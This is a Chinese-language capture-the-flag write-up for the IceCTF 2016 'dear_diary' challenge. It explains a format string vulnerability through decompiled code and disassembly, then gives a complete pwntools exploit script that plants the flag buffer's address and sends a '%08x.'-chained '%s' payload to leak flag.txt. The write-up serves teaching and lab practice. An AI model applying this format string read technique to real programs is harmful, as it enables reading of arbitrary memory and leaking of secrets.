介绍:本篇是格式化字符串漏洞类型的第一篇文章, 以后会陆续更新.
漏洞类型: 格式化字符串.
漏洞危害: 任意地址读写.
思路:查找flag.txt地址, 写入flag.txt的地址. 输入格式化串, 使其打印flag.txt.
下面咱们一步一步来, 文件的下载地址在本篇文章的结尾会给出.
首先是源程序IDA pro F5出来的部分代码:
读取flag:
int __usercall flag@<eax>(int a1@<ebp>)
{
*(_DWORD *)(a1 - 12) = *MK_FP(__GS__, 20);
*(_DWORD *)(a1 - 16) = open("./flag.txt", 0);
read(*(_DWORD *)(a1 - 16), &data, 0x100u);
return *MK_FP(__GS__, 20) ^ *(_DWORD *)(a1 - 12);
}
打印:
int __usercall print_entry@<eax>(int a1@<ebp>)
{
*(_DWORD *)(a1 - 28) = *(_DWORD *)(a1 + 8);
*(_DWORD *)(a1 - 12) = *MK_FP(__GS__, 20);
printf(*(const char **)(a1 - 28));
fflush(stdout);
return *MK_FP(__GS__, 20) ^ *(_DWORD *)(a1 - 12);
}
下面我们来调试程序, 查找读取flag.txt的地址.
flag函数的汇编代码:
0x0804863d <+0>: push ebp
0x0804863e <+1>: mov ebp,esp
0x08048640 <+3>: sub esp,0x28
0x08048643 <+6>: mov eax,gs:0x14
0x08048649 <+12>: mov DWORD PTR [ebp-0xc],eax
0x0804864c <+15>: xor eax,eax
0x0804864e <+17>: mov DWORD PTR [esp+0x4],0x0
0x08048656 <+25>: mov DWORD PTR [esp],0x8048940
0x0804865d <+32>: call 0x8048500 <open@plt>
0x08048662 <+37>: mov DWORD PTR [ebp-0x10],eax
0x08048665 <+40>: mov DWORD PTR [esp+0x8],0x100
0x0804866d <+48>: mov DWORD PTR [esp+0x4],0x804a0a0
=> 0x08048675 <+56>: mov eax,DWORD PTR [ebp-0x10]
0x08048678 <+59>: mov DWORD PTR [esp],eax
0x0804867b <+62>: call 0x8048480 <read@plt>
0x08048680 <+67>: mov eax,DWORD PTR [ebp-0xc]
0x08048683 <+70>: xor eax,DWORD PTR gs:0x14
0x0804868a <+77>: je 0x8048691 <flag+84>
0x0804868c <+79>: call 0x80484c0 <__stack_chk_fail@plt>
0x08048691 <+84>: leave
0x08048692 <+85>: ret
很明显的是:
0x08048662 <+37>: mov DWORD PTR [ebp-0x10],eax
0x08048665 <+40>: mov DWORD PTR [esp+0x8],0x100
0x0804866d <+48>: mov DWORD PTR [esp+0x4],0x804a0a0
对应的是read函数的三个参数,其中0x804a0a0是read到内存中的地址.
所以我们要利用add_entry将0x804a0a0输入到程序中去.
下面我举个简单的例子帮助大家理解:
在add_entry函数中,我输入字符串”i love you”,记下此时字符串的地址为0xffffbaa8.第二次我再次输入字符串”hello world”,记下此时的地址为0xffffbba8, 存放在栈上的地址为0xffffba60.执行printf的时候,将地址传给printf即可. 可见二者差的并不是很远.现在假设:第一次输入的是flag的地址,第二次输入的格式化字符串. 然后在执行printf的时候将flag的地址传给printf, flag的内容打印出来. 这个假设是成立的.
我先放出exp:
from pwn import *
choise1 = "1"
choise2 = "2"
choise3 = "3"
#t=remote('104.154.248.13',6501)
t = process("./dear_diary")
print t.recvuntil(">")
########## choice1 ##################
print choise1
t.sendline(choise1)
print t.recvuntil(":")
payload = 0x0804a0a0
print p32(payload)
t.sendline(p32(payload)) #输入flag的地址
print t.recvuntil(">")
##########choice1 #################
print choise1
t.sendline(choise1)
print t.recvuntil(":")
addr1 = 0xffffba60
addr2 = 0xffffbaa8
p = (addr2-addr1)/4-1
payload = "%08x."*p+"%s" #计算好距离读取指定参数
print payload
t.sendline(payload)
print t.recvuntil(">")
#########choise2#################
print choise2
t.sendline(choise2)
print t.recvuntil(">")
##########choise3##############
print choise3
t.sendline(choise3)
这个exp涉及到格式化字符串一些常用的姿势:
常见用法 :
%c 将对应参数以字符的形式进行格式化
%hd 以短整形的形式 (这里加上 h 表示短整形 , 也就是从内存取值的时候只取 2 个字节 (32位))
%d 以整形的形式
%ld 以长整形的形式
%x 以 16 进制的形式
%s 以字符串的形式 (注意这里与上面的有所不同 , 这里字符串的参数实际上是一个地址 , 这里的地址指向了需要被打印的字符串)
文件下载地址:https://github.com/ctfs/write-ups-2016/tree/master/icectf-2016/pwn/dear-diary-60